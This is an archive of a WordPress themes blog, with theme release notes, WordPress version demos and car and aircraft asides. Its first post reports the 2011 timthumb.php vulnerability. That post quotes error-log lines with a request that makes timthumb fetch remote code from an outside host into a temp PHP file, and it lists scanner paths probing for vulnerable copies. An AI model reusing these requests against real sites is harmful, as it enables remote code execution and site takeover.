WordPress themes

all themes with timthumb script removed – Security Vulnerability

admin — Fri, 12 Aug 2011 15:34:58 +0000

while checking what might be behind these errors in error log of this site: (googled for ‘/timthumb.php?src=http://blogger.com.zoha.vn’)

PHP Warning: parse_url(/xxx/wp-content/themes/default/timthumb.php?src=http://blogger.com.zoha.vn/db/load.php):
PHP Warning: curl_setopt(): CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set in /xxx/wp-content/themes/xxx/scripts/timthumb.php on line 574
PHP Notice: Undefined index: php in /xxx/wp-content/themes/xxx/scripts/timthumb.php on line 416
PHP Warning: imagecreatefrompng(): ‘./temp/huy.php’ is not a valid PNG file in /xxx/wp-content/themes/xxx/scripts/timthumb.php on line 304

I came over recent annoncements that timthumb.php is not save to use anymore.. !?

In my logfiles there are many 404 not found requests looking like:
/wp-content/themes/coffeebreak/cache/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/thick/temp/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/arthemix_ME2/scripts/cache/9cb702aa084691e66c789c1e98d6233a.php
/wp-content/plugins/wordpress-gallery-plugin/timthumb.php
/wp-content/themes/twentyeleven/thumb.php
/wp-content/themes/magazinum/scripts/timthumb.php
/wp-content/plugins/wp-slick-slider/includes/timthumb/timthumb.php
/wp-content/themes/thestation/cache/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/plugins/geotag/tools/timthumb/cache/external_e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/plugins/webphysiology-portfolio/scripts/thumb/timthumb.php
/wp-content/themes/f0101/thumb.php
/wp-content/plugins/wp_rokstories/thumb.php
/wp-content/themes/forewordthinking/temp/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/magazinum/scripts/cache/external_e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/plugins/ferdinand-wordbook/phpthumb/phpThumb.php
/wp-content/themes/sportpress/scripts/cache/external_e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/plugins/geotag/tools/timthumb/cache/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/mystream/thumb.php
/wp-content/themes/bloggingstream/temp/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/therapy/temp/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/themes/eGallery/phpThumb/phpThumb.php
/wp-content/plugins/onswipe/framework/thumb/thumb.php
/wp-content/themes/wootube/temp/e51880631504ecd4f5a703c9e1c3ae5a.php
/wp-content/plugins/a-gallery/cache/external_e51880631504ecd4f5a703c9e1c3ae5a.php

Looks like hackers are searching for wordpress installations using a theme with timthumb.php to get write access to my (your) site

I had some themes with this timthumb script in use on this site, just removed them completely.

read and enjoy these related posts and pictures too:

Twenty Eleven theme WordPress 3.2 Demo

admin — Sat, 14 May 2011 16:44:13 +0000

With the release WordPress 3.2 you will get a new default theme called Twenty Eleven, based on the popular Duster theme. Rotating header images, post format support, and more. So upgrading to 3.0 will install this new theme to your themes folder.
This site is using a plugin to let visitors select themes to testrun, so give it a try and and have a look at this new theme. This link will switch you to Twenty Eleven Theme with the content of this WordPress installation.

Twenty Eleven has no image slider built in by default, but sure any slider like a jQuery cycle Slideshow or a Content Slider jQuery can be built in. search for ‘image slider‘ here on WordPress Themes.

WordPress 3.2 gives the developers of Themes new APIs that allow them to easily implement custom backgrounds, headers, shortlinks, menus (no more file editing), post types, and taxonomies. Twenty Eleven theme shows all of that off.

read and enjoy these related posts and pictures too:

Twenty Ten WordPress 3.0 Demo

admin — Sun, 20 Jun 2010 14:05:56 +0000

With WordPress 3.0 you get a new ‘default’ theme called Twenty Ten. So upgrading to 3.0 will install this new theme to your themes folder.
This site is using a plugin to let visitors select themes to testrun, so give it a try and and have a look at this new theme. This link will switch you to Twenty Ten Theme with the content of this WordPress installation.

Twenty ten has no image slider built in by default, but sure any slider like a jQuery cycle Slideshow or a Content Slider jQuery can be built in. search for ‘image slider‘ here on WordPress Themes.

WordPress 3.0 gives the developers of Theme new APIs that allow them to easily implement custom backgrounds, headers, shortlinks, menus (no more file editing), post types, and taxonomies. Twenty Ten theme shows all of that off.

read and enjoy these related posts and pictures too:

Free WordPress Theme Aranovo released

admin — Fri, 22 Jan 2010 08:58:24 +0000

This WordPress theme is using an image slider for the latest four posts of your blog. These latest posts are inserted automatically into the slider.
Images are taken from a customfield first or extracted from the post.
The size of images in the slider is managed by a thumbnail resizer script (timthumb).
This script can also resize and cache external images. Resizing works only for images drawn from a customfield.
Gravatar and threaded comment support is included. Use widgets to set your advertising script and fill the sidebar.

This theme you can download here: aranovo.zip (aranovo.zip, 200KB)

Support you find here: go41 themes

read and enjoy these related posts and pictures too:

WordPress 2.9 is using automatically embed of plain text URL videos

admin — Mon, 21 Dec 2009 22:32:22 +0000

As you can read everywhere, I also have to try the new features of WordPress 2.9
In this post I will just place a plain URL link to a YouTube Video, using no embed or object code around.
So here we go:

Easier video embeds in WP2.9 allow you to just paste a URL on its own line and have it automatically turn into the proper embed code. Sites having Oembed support are YouTube, Daily Motion, Blip.tv, Flickr, Hulu, Viddler, Qik, Revision3, Scribd, Google Video, Photobucket, PollDaddy, and WordPress.tv.

A theme using this feature with videos inserted as plain URL and resizing them on the fly in archive pages and the latest video post in the sidebar is Barthami Corporate, a great WordPress theme for videos

read and enjoy these related posts and pictures too:

WordPress Theme Barthami released

WordPress Theme Barthami released

admin — Thu, 17 Dec 2009 10:11:52 +0000

New! Beautiful! WordPress theme series Barthami is ready for you.

The Barthami Theme features:

Unique layout with a jQuery Content Slider on top of the homepage view
Automatic Image Resizer (timthumb), to dynamically create and size cached thumbnails for the slider and for the list of posts in front-, category- and tag-view
Automatic insert of resized images pulled from your content
A drop down navigation menu for pages
Admin Options page to exclude pages from the navigation
A colored Category Bar for five categories
Admin Options to easily select 5 categories in the category bar
A Custom page template for archives, categories and search results
Widget ready sidebars and footer
Integrated social bookmarking buttons in single posts
Integrated banner advertising positions (468×60px and 300×250px)
Advertising managed by putting your code into text widgets
WordPress 2.8 compatible

Preview: Barthami Red

Download: This theme we will send you against 20 Euro, ask here for details here: Comment form

read and enjoy these related posts and pictures too:

Boeing 787 Dreamliner maiden flight

admin — Wed, 16 Dec 2009 15:27:34 +0000

The Boeing 787 Dreamliner is a mid-sized, wide-body, twin-engine jet airliner under development by Boeing Commercial Airplanes. Its maximum seating capacity is between 290 and 330 passengers, depending on variant. Boeing states that it will be more fuel-efficient than earlier Boeing airliners and will be the first major airliner to use composite materials for most of its construction.

The aircraft’s maiden flight, originally planned for September 2007, took place on December 15, 2009.

The longest-range 787 variant can fly 8,000 to 8,500 nautical miles (14,800 to 15,700 km), enough to cover the Los Angeles to Bangkok or New York City to Taipei routes. It will have a cruise speed of Mach 0.85 (561 mph, 903 km/h at typical cruise altitudes).

The 787 will seat 240 in two-class domestic configuration, with a 46-in (116.8 cm) pitch for first class and a 34-in (86.4 cm) pitch for coach class.

296 passengers can be seated in a high-density 3+2+3 / 2+4+2 coach arrangement with 36-in (91.4 cm) Business and 32-in (81.3 cm) Coach pitch.

Arthemix ME using autoinsert external flickr images with timthumb

admin — Thu, 03 Dec 2009 21:16:12 +0000

This is a post to test a version of timthumb allowing to load external images. Included in this new theme is a function to grab the first image in your post. So there is no need to set up a custom field named ‘Image’ with the path to your locally hosted image.

This works NOT in free versions of Arthemix!

The WordPress Themes Arthemix ME / ME2 and all Barthami Themes you can select on top of the page will show a picture here.

Let’s look for a nice image on flickr first and see if it works!

Original flickr image 1280 x 853 from www.flickr.com/photos/vodcars/3858198307/

no custom field to get a resized image, it’s automaticly inserted by fitering the content of the post.

read and enjoy these related posts and pictures too:

Free WordPress Theme Arthemix Bronze released

admin — Wed, 02 Dec 2009 15:36:28 +0000

I just put up the WordPress theme Arthemix Bronze for download.

The free Arthemix Bronze Theme features

Unique layout with a jQuery Content Slider on top of the homapage view
Automatic Image Resizer (timthumb), to dynamically create and size the thumbnails for the slider and list of posts in front-, category- and tag-view
A drop down navigation menu for pages
A colored Category Bar for five selected categories
A Custom page template for archives, categories and search results
Widget ready sidebars and footer
Integrated social bookmarking buttons in single posts
Integrated banner advertising positions (468×60px and 300×250px)
WordPress 2.8 compatible

Preview: Arthemix Bronze

Download: arthemix-bronze.zip Free WordPress Theme Arthemix Bronze (arthemix-bronze.zip, 157KB)

read and enjoy these related posts and pictures too:

Mercedes-Benz McLaren SLR Stirling Moss

admin — Thu, 26 Nov 2009 21:59:00 +0000

The Mercedes-Benz SLR McLaren Stirling Moss is a car with boosted performance and toned-up looks that carries the maker’s seal of approval.

Only 75 will be built when production starts in June, and even in these difficult times, all have been presold. To qualify to buy one, you would need to have been one of “the most loyal of SLR customers”, as Mercedes put it, with about £815,000 of spare cash.

Why name it after Sir Stirling Moss? Well, he is one of only two surviving people to have regularly raced a Mercedes F1 car, and I suspect Mercedes felt that “SLR Hans Herrmann” didn’t have quite the same ring. Stirling’s most notable achievement behind the wheel of a Mercedes was with a 300 SLR, winning the 1955 Mille Miglia road race from Brescia to Rome and back, driving almost 1,000 miles in a little more than 10 hours – a record that still stands.

read and enjoy these related posts and pictures too: